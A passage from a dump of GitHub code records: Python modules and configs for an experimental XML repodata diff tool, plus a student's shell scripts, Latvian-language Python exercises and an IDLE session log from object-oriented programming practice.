diff\",\n required=True)\n return ret\n\n\ndef process_source(source):\n fname = None\n _buffer = utils.retrieve(source)\n (_, tmpfname) = tempfile.mkstemp()\n tmpf = open(tmpfname, \"w\")\n tmpf.write(_buffer.getvalue())\n tmpf.close()\n\n archive = utils.get_archive_type(tmpfname)\n if archive == \"gzip\":\n fname = utils.ungzip(tmpfname)\n os.remove(tmpfname)\n elif archive == \"bzip\":\n fname = utils.unbzip(tmpfname)\n os.remove(tmpfname)\n elif archive is False:\n fname = tmpfname\n return (fname, True)\n\n\ndef diff(source1, source2, dest, config):\n IDS = config[\"IDS\"]\n REQUIRED_ATTRS = config[\"REQUIRED_ATTRS\"]\n (fname1, need_cleanup1) = process_source(source1)\n (fname2, need_cleanup2) = process_source(source2)\n try:\n p = parser.Parser()\n parsed1 = p.parse_file(open(fname1))\n p = parser.Parser()\n parsed2 = p.parse_file(open(fname2))\n dest = open(dest, \"w\")\n diffed = parsed1.diff(parsed2, path=\"\", ids=IDS,\n required=REQUIRED_ATTRS)\n del parsed1, parsed2\n\n writer = xmlwriter.XMLWriter(dest, encoding=\"utf-8\")\n writer.start_document()\n saxxml.diff_tree2xml(writer, diffed, required_attrs=REQUIRED_ATTRS)\n writer.end_document()\n\n except Exception:\n raise\n finally:\n if need_cleanup1:\n os.remove(fname1)\n if need_cleanup2:\n os.remove(fname2)\n\nif __name__ == \"__main__\":\n ap = make_arg_parser()\n args = ap.parse_args()\n conf_mod = __import__(\"conf.%s\" % args.conf, fromlist=[args.conf])\n diff(args.source1, args.source2, args.dest, conf_mod.conf)\n" }, { "alpha_fraction": 0.5218987464904785, "alphanum_fraction": 0.5274062156677246, "avg_line_length": 36.236328125, "blob_id": "96d997793ad2c92e8c80a3681abcb5c04b4999a9", "content_id": "18d28b66b5253d1301aa2546ee0b278fdd72c960", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19065, "license_type": "no_license", "max_line_length": 81, "num_lines": 512, "path": "/path2tree.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "import parser\nimport collections\n\n\nclass PathNotFound(Exception):\n def __init__(self, path):\n self.path = path\n\n def __str__(self):\n return \"Path '%s' not found\" % self.path\n\n\nclass StrCache(object):\n def __init__(self):\n self.cache = []\n\n def get(self, key):\n if key not in self.cache:\n self.cache.append(key)\n return key\n else:\n return self.cache[self.cache.index(key)]\n\n\nclass Node(object):\n \"\"\" Basic object encapsulating path node\"\"\"\n\n __slots__ = [\"objects\", \"name\", \"value\", \"_type\", \"str_cache\", \"_hash\"]\n\n def __init__(self, name, value=None, _type=None, str_cache=StrCache()):\n self.objects = {}\n self.name = name\n self.value = value\n self._type = _type\n self.str_cache = str_cache\n self._hash = None\n\n def __repr__(self):\n if self.value and len(self.value) > 20:\n value = self.value[:20] + \"...\"\n else:\n value = self.value\n return \"(%s value=%s, %s)\" % (self.name, value, repr(self.objects))\n\n def __hash__(self):\n if not self._hash:\n self._hash = (hash(self.name) ^ hash(self.value) ^\n hash(self._type) ^\n hash(frozenset(self.objects.items())))\n return self._hash\n\n def __eq__(self, other):\n return hash(self) == hash(other)\n\n def get(self, path):\n \"\"\" method for get objects occuring in specified path.\n if object has value, method returns value of object. Otherwise\n returning whole object. If Node contains some list of subnodes\n somewhere in path, index of concrete item is required in path\n \"\"\"\n\n current_object = self\n splitted = path.split(\".\")\n try:\n part_path = []\n for part in splitted[:-1]:\n current_object = current_object._get(part, final=False)\n part_path.append(part)\n return current_object._get(splitted[-1], final=True)\n except KeyError:\n raise PathNotFound(\".\".join(part_path))\n\n def _get(self, part, final):\n if (final and hasattr(self.objects[part], \"value\")\n and self.objects[part].value):\n return self.objects[part].value\n else:\n return self.objects[part]\n\n # This method is not required by Node to be full operational,\n # but could be usefull\n #def get_last(self, path):\n # \"\"\" method simillar to .get, but path doesn't need to contain\n # index of item in list in path - last items in lists is accessed\n # automaticaly\n # \"\"\"\n #\n # current_object = self\n # splitted = path.split(\".\")\n # for part in splitted[:-1]:\n # if isinstance(current_object, NodeList):\n # current_object = current_object._get_last()\n # current_object = current_object._get(part, final=False)\n # return current_object._get_last(splitted[-1], final=True)\n\n def _get_last(self, part, final):\n if (final and hasattr(self.objects[part], \"value\")\n and self.objects[part].value):\n return self.objects[part].value\n else:\n return self.objects[part]\n _get_last_light = _get_last\n\n\n def set(self, path, value=None, _type=None):\n \"\"\" method for set object to path. Method doesn't work recursively -\n all parts of path have to be inserted before\n inserting last - new one part.\n For example you have to call set(\"some\") before you call\n set(\"some.foo\"). If value is specified, will be assigned to last\n object in path. Method works same way as get - if list of items\n occurs somewhere in path, you need to specify index of concrete item\n \"\"\"\n\n splitted = path.split(\".\")\n last_part = self.str_cache.get(splitted[-1])\n current_object = self\n for part in splitted[:-1]:\n current_object = current_object._get(part, final=False)\n\n if last_part not in current_object.objects:\n current_object.objects[last_part] = Node(last_part,\n value, _type,\n str_cache=self.str_cache)\n else:\n if isinstance(current_object.objects[last_part], NodeList):\n current_object.objects[last_part].set(last_part)\n else:\n old = current_object.objects[last_part]\n current_object.objects[last_part] = NodeList(last_part)\n current_object.objects[last_part].objects.append(old)\n current_object.objects[last_part].set(last_part)\n\n def fill(self, path, value=None, _type=None):\n \"\"\" same as set, but automaticaly traverse path over last items\n in lists\"\"\"\n splitted = path.split(\".\")\n current_object = self\n last_part = self.str_cache.get(splitted[-1])\n\n for part in splitted[:-1]:\n part = self.str_cache.get(part)\n current_object = current_object._get_last(part, final=False)\n\n if isinstance(current_object, NodeList):\n current_object = current_object._get_last_index(part)\n if last_part not in current_object.objects:\n current_object.objects[last_part] = Node(last_part, value, _type,\n str_cache=self.str_cache)\n return current_object.objects[last_part]\n else:\n if isinstance(current_object.objects[last_part], NodeList):\n current_object.objects[last_part].set(last_part, _type=_type)\n return current_object.objects[last_part]._get_last_index(\"\")\n else:\n if value is None:\n old = current_object.objects[last_part]\n current_object.objects[last_part] = NodeList(\n last_part,\n str_cache=self.str_cache)\n current_object.objects[last_part].objects.append(old)\n current_object.objects[last_part].set(last_part, _type=_type)\n return current_object.objects[last_part]._get_last_index(\"\")\n else:\n current_object.objects[last_part].value = value\n current_object.objects[last_part]._type = _type\n return current_object.objects[last_part].value\n\n def fill_light(self, path, _type, source, index, _len):\n \"\"\" same as fill, but create LightNode instead Node\"\"\"\n splitted = path.split(\".\")\n current_object = self\n if isinstance(current_object, LightNode):\n return current_object\n\n last_part = self.str_cache.get(splitted[-1])\n\n for part in splitted[:-1]:\n part = self.str_cache.get(part)\n if isinstance(current_object, LightNode):\n break\n current_object = current_object._get_last_light(part, final=False)\n if isinstance(current_object, LightNode):\n return current_object\n\n if isinstance(current_object, NodeList):\n current_object = current_object._get_last_index(part)\n if isinstance(current_object, LightNode):\n return None\n\n if last_part not in current_object.objects:\n current_object.objects[last_part] = LightNode(\n last_part, _type,\n source, index, _len,\n str_cache=self.str_cache)\n return current_object.objects[last_part]\n elif not isinstance(current_object, LightNode):\n if isinstance(current_object.objects[last_part], NodeList):\n current_object.objects[last_part].set_light(\n last_part, _type, source, index, _len, self.str_cache)\n return current_object.objects[last_part]._get_last_index(\"\")\n else:\n old = current_object.objects[last_part]\n current_object.objects[last_part] = NodeList(\n last_part,\n str_cache=self.str_cache)\n current_object.objects[last_part].objects.append(old)\n current_object.objects[last_part].objects.append(\n LightNode(last_part, _type, source, index, _len))\n return current_object.objects[last_part]._get_last_index(\"\")\n\n def diff(self, other, path=\"\", ids={}, required={}, clean_afterdiff=True):\n \"\"\"Computes deep differences between two nodes. This operation\n doesn't preserve content of self and other objects - unneeded objects\n are deleted due memory save up\"\"\"\n\n current_path = \"%s.%s\" % (path, self.name)\n self_objects = self.objects\n other_objects = other.objects\n\n keys1 = set(self_objects.keys())\n keys2 = set(other_objects.keys())\n common = keys1 & keys2\n missing_in_2 = keys1 - common\n missing_in_1 = keys2 - common\n del keys1, keys2\n\n ret = DiffNode(self.name)\n\n for ckey in common:\n item1 = self_objects[ckey]\n item2 = other_objects[ckey]\n\n if isinstance(item1, NodeList) and not isinstance(item2,\n NodeList):\n new_list = NodeList(item2.name)\n new_list.objects.append(item2)\n item2 = new_list\n elif isinstance(item2, NodeList) and not isinstance(item1,\n NodeList):\n new_list = NodeList(item1.name)\n new_list.objects.append(item1)\n item1 = new_list\n\n if isinstance(item1, Node):\n items_diff = item1.diff(item2, path=current_path, ids=ids,\n required=required,\n clean_afterdiff=False)\n else:\n items_diff = item1.diff(item2, path=current_path, ids=ids,\n required=required)\n\n if (current_path in required and ckey in required[current_path]):\n if not items_diff.is_empty():\n ret.common_objects[ckey] = items_diff\n else:\n ret.common_objects[ckey] = item2\n elif not items_diff.is_empty():\n ret.common_objects[ckey] = items_diff\n else:\n item1._cleanup()\n item2._cleanup()\n\n ret._type = self._type\n ret.value = self.value\n\n if self.value is not None:\n if self.value != other.value or self._type != other._type:\n ret.diff_value = other.value\n ret.diff_type = other._type\n ret.differ = True\n else:\n if clean_afterdiff:\n self.cleanup()\n other.cleanup()\n\n for mkey2 in missing_in_1:\n ret.missing_in_1[mkey2] = other_objects[mkey2]\n for mkey1 in missing_in_2:\n ret.missing_in_2[mkey1] = self_objects[mkey1]\n if missing_in_1 or missing_in_2:\n ret.differ = True\n return ret\n\n def _cleanup(self):\n if not isinstance(self, LightNode):\n del self.value\n del self.objects\n\nclass NodeList(object):\n \"\"\"List of Nodes or LightNodes\"\"\"\n\n __slots__ = [\"objects\", \"name\", \"_type\", \"str_cache\", \"_hash\"]\n\n def __init__(self, name, str_cache=StrCache()):\n self.objects = collections.deque()\n self.name = str_cache.get(name)\n self.str_cache = str_cache\n self._hash = None\n\n def __repr__(self):\n return \"(%s, %s)\" % (self.name, repr(self.objects))\n\n def __eq__(self, other):\n return hash(self) == hash(other)\n\n def _get_last(self, part, final=False):\n return self.objects[-1].objects[part]\n\n def _get_last_light(self, part, final=False):\n if isinstance(self.objects[-1], LightNode):\n return self.objects[-1]\n return self.objects[-1].objects[part]\n\n def _get_last_index(self, part, final=False):\n return self.objects[-1]\n\n def _get(self, part, final):\n return self.objects[int(part)]\n\n def set(self, name, _type):\n self.objects.append(Node(name, str_cache=self.str_cache, _type=_type))\n\n def set_light(self, name, _type, source, index, _len, str_cache):\n self.objects.append(LightNode(name, _type, source, index, _len,\n str_cache=self.str_cache))\n\n def diff(self, other, path=\"\", ids={}, required={}):\n \"\"\"Computes deep differences between two node lists. This operation\n doesn't preserve content of self and other objects - unneeded objects\n are deleted due memory save up\"\"\"\n\n current_path = \"%s.%s\" % (path, self.name)\n ret = DiffNodeList(self.name)\n objects1 = set()\n objects2 = set()\n o1_by_id = {}\n o2_by_id = {}\n use_ids = False\n if current_path in ids:\n use_ids = True\n self_objects = self.objects\n other_objects = other.objects\n for dest, id_map, objects in zip((objects1, objects2),\n (o1_by_id, o2_by_id),\n (self_objects, other_objects)):\n for o in objects:\n if use_ids:\n # id compute\n _id_parts = []\n for id_part in ids[current_path]:\n try:\n val = o.get(id_part)\n if isinstance(val, unicode):\n _id_parts.append(val)\n elif isinstance(val, LightNode):\n if isinstance(val.value, unicode):\n _id_parts.append(val.value.load())\n else:\n _id_parts.append(val.value)\n elif isinstance(val, Node):\n _id_parts.append(str(hash(val)))\n else:\n _id_parts.append(val.load())\n except PathNotFound:\n _id_parts.append(\"\")\n _id = \"\".join([x for x in _id_parts if x])\n id_map[_id] = o\n # add id\n dest.add(_id)\n else:\n # add whole object\n dest.add(o)\n\n common_o = objects1 & objects2\n missing_in_1 = objects2 - common_o\n missing_in_2 = objects1 - common_o\n\n for o in common_o:\n # if id is used, calculate diff, because two objects with same\n # id don't have to be same in general\n if use_ids:\n common_current_path = \".\".join(current_path.split(\".\")[:-1])\n diff_obj = o1_by_id[o].diff(o2_by_id[o],\n path=common_current_path,\n ids=ids, required=required)\n if not diff_obj.is_empty():\n ret.common_objects.append(diff_obj)\n\n for o1 in missing_in_2:\n if use_ids:\n ret.missing_in_2.append(o1_by_id[o1])\n else:\n ret.missing_in_2.append(o1)\n for o2 in missing_in_1:\n if use_ids:\n ret.missing_in_1.append(o2_by_id[o2])\n else:\n ret.missing_in_1.append(o2)\n if not ret.differ:\n for obj in ret.common_objects:\n if not obj.is_empty():\n ret.differ = True\n break\n return ret\n\n def _cleanup(self):\n del self.objects\n\n\nclass DiffNode(object):\n \"\"\"Structure holding results of two nodes diff\"\"\"\n\n __slots__ = [\"name\", \"common_objects\", \"missing_in_1\", \"missing_in_2\",\n \"value\", \"diff_value\", \"_type\",\n \"diff_type\", \"differ\"]\n\n def __init__(self, name):\n self.name = name\n self.common_objects = {}\n self.missing_in_1 = {}\n self.missing_in_2 = {}\n self.value = None\n self.diff_value = None\n self._type = None\n self.diff_type = None\n self.differ = False\n\n def is_empty(self):\n \"\"\"Check if diff_node contain any changed - if\n copared nodes were different\"\"\"\n\n if self.differ:\n return False\n for item in self.common_objects.itervalues():\n if (isinstance(item, DiffNode) or\n isinstance(item, DiffNodeList)) and not item.is_empty():\n return False\n if self.missing_in_1 or self.missing_in_2:\n return False\n return True\n\n\nclass DiffNodeList(object):\n \"\"\"Structure holding results of two node lists diff\"\"\"\n\n __slots__ = [\"name\", \"common_objects\", \"missing_in_1\", \"missing_in_2\",\n \"value\", \"diff_value\", \"_type\",\n \"diff_type\", \"differ\"]\n\n def __init__(self, name):\n self.name = name\n self.common_objects = collections.deque()\n self.missing_in_1 = collections.deque()\n self.missing_in_2 = collections.deque()\n self.differ = False\n\n def is_empty(self):\n \"\"\"same as DiffNode.is_empty()\"\"\"\n\n if self.differ:\n return False\n for item in self.common_objects:\n if not item.is_empty:\n return False\n if self.missing_in_1 or self.missing_in_2:\n return False\n return True\n\n\nclass LightNode(Node):\n \"\"\"Light version of Node. Content is not loaded into memory, but\n only offset in source file(or source str stream) and length of content\n is stored. LightNode has extremely small memory footprint, but all\n operations consume more time than i case of Node\"\"\"\n\n __slots__ = [\"_type\", \"name\", \"source\", \"offset\", \"_len\", \"str_cache\",\n \"_hash\"]\n\n def __init__(self, name, _type,\n source, offset, _len, str_cache=StrCache()):\n self._type = _type\n self.name = str_cache.get(name)\n self.source = source\n self.offset = offset\n self._len = _len\n self.str_cache = str_cache\n self._hash = None\n\n @property\n def objects(self):\n p = parser.Parser()\n p.depth_limit = 1\n oldpos = self.source.tell()\n self.source.seek(self.offset)\n _str = self.source.read(self._len)\n self.source.seek(oldpos)\n ret = p.parse_str(_str)\n return ret.objects[self.name].objects\n\n @property\n def value(self):\n p = parser.Parser()\n oldpos = self.source.tell()\n self.source.seek(self.offset)\n _str = self.source.read(self._len)\n self.source.seek(oldpos)\n ret = p.parse_str(_str)\n return ret.objects[self.name].value\n\n def _cleanup(self):\n pass\n" }, { "alpha_fraction": 0.4893617033958435, "alphanum_fraction": 0.4893617033958435, "avg_line_length": 46, "blob_id": "b01c5e81dfe99f6a0c524c7150487fe98c9b20ed", "content_id": "dc5b7f941e71f3e35b18940103155dcc33043391", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 94, "license_type": "no_license", "max_line_length": 47, "num_lines": 2, "path": "/conf/repomd.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "conf = {\"IDS\": {\".root.repomd.data\": [\"type\"]},\n \"REQUIRED_ATTRS\": {\"data\": [\"type\"]}}\n" }, { "alpha_fraction": 0.6230975985527039, "alphanum_fraction": 0.7206804156303406, "avg_line_length": 28.36842155456543, "blob_id": "4baef67f0009f319cd10392b70a06368211ee28a", "content_id": "e8e861a3575e7ed27495d0accaa344ae5ab724ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1117, "license_type": "no_license", "max_line_length": 391, "num_lines": 38, "path": "/README.md", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "xmldiff\n=======\n\nexperimental tool for diff two xml files\n\nRequirements to run\n-------------------\n\n- python2 > 2.6\n\nNotes\n-----\n\nSee examples for more information\n\nRepodiff\n========\n\n### Run:\n\n python repodiff.py --destdir diff_dir repo_path1 repo_path2\n\n### Example:\n\n python repodiff.py --dest diff_dir http://dl.fedoraproject.org/pub/fedora/linux/releases/19/Fedora/x86_64/os/ http://dl.fedoraproject.org/pub/fedora/linux/releases/20/Fedora/x86_64/os/\n\n python repodiff.py --dest diff_dir file://local_dir_with_repodata1 file://local_dir_with_repodata2\n\nDiff specific repodata files\n----------------------------\n\n### Run:\n\n python repodiff.py --dest out.xml.diff --conf <type> <file1> <file2>\n\n### Example:\n\n python repodiff.py --dest out.xml.diff --conf comps http://dl.fedoraproject.org/pub/fedora/linux/releases/19/Fedora/x86_64/os/repodata/bf4e62e367e9b80e4f7c75092ef729f69d5d8e2d3eadd3c852ba6c5eb7a85353-Fedora-19-comps.xml http://dl.fedoraproject.org/pub/fedora/linux/releases/20/Fedora/x86_64/os/repodata/ac802acf81ab55a0eca1fe5d1222bd15b8fab45d302dfdf4e626716d374b6a64-Fedora-20-comps.xml\n\n" }, { "alpha_fraction": 0.4023323655128479, "alphanum_fraction": 0.4023323655128479, "avg_line_length": 48, "blob_id": "e631ece215ac8a23ec74ecae7d66d9f937d7fe5b", "content_id": "d71e9de4c97b27dc0a99661a6ecd23f8a99d20f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 343, "license_type": "no_license", "max_line_length": 62, "num_lines": 7, "path": "/conf/comps.py", "repo_name": "zfq308/xmldiff-2", "src_encoding": "UTF-8", "text": "conf = {\"IDS\": {\".root.comps.group\": [\"id\"],\n \".root.comps.category\": [\"id\"],\n \".root.comps.environment\": [\"id\"]},\n \"REQUIRED_ATTRS\": {\".root.comps.group\": [\"id\"],\n \".root.comps.category\": [\"id\"],\n \".root.comps.environment\": [\"id\"]},\n \"SKIP\": {}}\n" } ]
14
Dani653s/EDIBO
https://github.com/Dani653s/EDIBO
2dca18deb28f7e9c29e50942feacfaef45af241f
05f9b01e209c8cfdd0f8433818fc476bb39cf797
3f6f23ac05a662dae03fac461f170a9819c0df19
refs/heads/master
2022-12-17T22:46:53.781648
2020-09-15T15:22:21
2020-09-15T15:22:21
285,774,792
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6120689511299133, "alphanum_fraction": 0.7155172228813171, "avg_line_length": 18.33333396911621, "blob_id": "1499acdda2dd9c908bdfd4ca5d862ce469cc4975", "content_id": "b19ece944406297e4be9474905f8262d3107a0c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 116, "license_type": "no_license", "max_line_length": 38, "num_lines": 6, "path": "/git-upload", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ngit config --global user.email [email protected]\ngit add .\ngit commit -m \"20200915_18_22\"\ngit push origin master\n" }, { "alpha_fraction": 0.6399999856948853, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 11.5, "blob_id": "66680b9aa005e5402ae4a1ac4eab303a1d71b9be", "content_id": "350b5535249297d6830d208296c438b335aa04b3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 75, "license_type": "no_license", "max_line_length": 43, "num_lines": 6, "path": "/SHELL/test_special_variables_2.sh", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nfor TOKEN in $./test.sh Zara Ali 10 Years Old\ndo\necho $TOKEN\ndone\n" }, { "alpha_fraction": 0.6407284736633301, "alphanum_fraction": 0.6572847962379456, "avg_line_length": 34.52941131591797, "blob_id": "0008622cf2433558f3ceb92a1023f8d0fe09dc5a", "content_id": "9ecc7fdaa7ab24f95dab58cf146287b7bd115e91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1265, "license_type": "no_license", "max_line_length": 122, "num_lines": 34, "path": "/Python/milzigs_skaitlis.py", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "#!/usr/bin/python3.6\n\nprint(\"Ievadiet skaitli\")\n#a=2**2000000\n\n#te ir trīs darbības - vertības sagaidīšana, vērtības pārveidošana, piešķiršana\n#argument = input()\n#int(arguments)\n#a - int(argument)\n\n#pildot int(intput()) \"bex izmēģinjuma\", programma var vienkārši izlidot..\n#tāpēc mēs izmantosim try ...except ... finally konstrukciju\npaziime = False #place mainigo\nwhile not paziime: #ja tas nebus paziime, tad tas bus True\n#while paziime==False: #tas pats, kas rakstīts augstāk\n#while paziime!=True: #-''-\n try:\n a=int( input() )\n paziime = True\n except:\n print(\"Diemžel, to, kas ievadīts, nevar pārveidot par vesela tipa skaitli\")\n print(\"Lūdzu, ievadi s_k_a_t_l_i vēlreiz\")\n#if (a == int): print(\"a**100\")\n#var salīdzinat type(a) == int -> rezultāts būs True\nif (a == 5): #ja pirms if iebazt #, tad jebkāds cipars būs pakāpē\n print(a**100)\n print(\"Aprēķins ir gatavs\")\nprint(\"Šis teksts atrodas ārpus darbību bloka - pierakstīts bez atstarpēm priekšā, tāpēc tas parādīsies jebkurā gadījumā\")\n\n# print(\"Atstarpes šeit vairs nedrīkst būt\")\n\n...\n#print (\"Ievadāmai vērtībai jābūt skaitlim\")\n#b=a**100\n" }, { "alpha_fraction": 0.6080976128578186, "alphanum_fraction": 0.6328185796737671, "avg_line_length": 30.9730281829834, "blob_id": "c66e4a94910c04cedf3a6181d995ed48dfff9404", "content_id": "392d86571b4d5f4a5f0308ed1b0cd2b9d38850a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15412, "license_type": "no_license", "max_line_length": 386, "num_lines": 482, "path": "/Python/diary_20200814a.py", "repo_name": "Dani653s/EDIBO", "src_encoding": "UTF-8", "text": "Python 3.6.8 (default, Jan 14 2019, 11:02:34) \n[GCC 8.0.1 20180414 (experimental) [trunk revision 259383]] on linux\nType \"help\", \"copyright\", \"credits\" or \"license()\" for more information.\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 2\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 3\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 4\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\n{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/user/EDIBO/Python/OOP_test_1.py', 'PartyAnimal': <class '__main__.PartyAnimal'>}\nAfter an = PartyAnimal()\n{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/user/EDIBO/Python/OOP_test_1.py', 'PartyAnimal': <class '__main__.PartyAnimal'>, 'an': <__main__.PartyAnimal object at 0x7f480701b668>}\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 2\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 3\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 4\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 102\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 103\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\n['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'party', 'x']\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 102\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 103\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\n<class '__main__.PartyAnimal'>\n['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'party', 'x']\n<class 'int'>\n<class 'method'>\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 102\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 103\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\n<class '__main__.PartyAnimal'>\n['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'party', 'x']\n<class 'int'>\n<class 'method'>\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 102\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 103\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\nan data type: <class '__main__.PartyAnimal'>\nan methods and properties: ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'party', 'x']\nan x property data type: <class 'int'>\nan party method data type: <class 'method'>\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 102\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 103\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\nan data type: <class '__main__.PartyAnimal'>\nan methods and properties: ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', 'party', 'x']\nan x property data type: <class 'int'>\nan party method data type: <class 'method'>\n{}\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n{'x': 1}\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 102\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 103\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\n{}\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n{'x': 1}\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 102\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 103\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one more party()\n>>> \n=============== RESTART: /home/user/EDIBO/Python/OOP_test_1.py ===============\nBefore an = PartyAnimal()\nI am constructed\nI am constructed\nAfter an = PartyAnimal()\nBefore first an.party()\nSo far x property of object is: 1\nAfter first an.party()\n\nBefore second an.party()\nSo far x property of object is: 101\nAfter second an.party()\n\nBefore third an.party()\nSo far x property of object is: 201\nAfter third an.party()\n\nBefore one more party()\nSo far x property of object is: 202\nAfter one 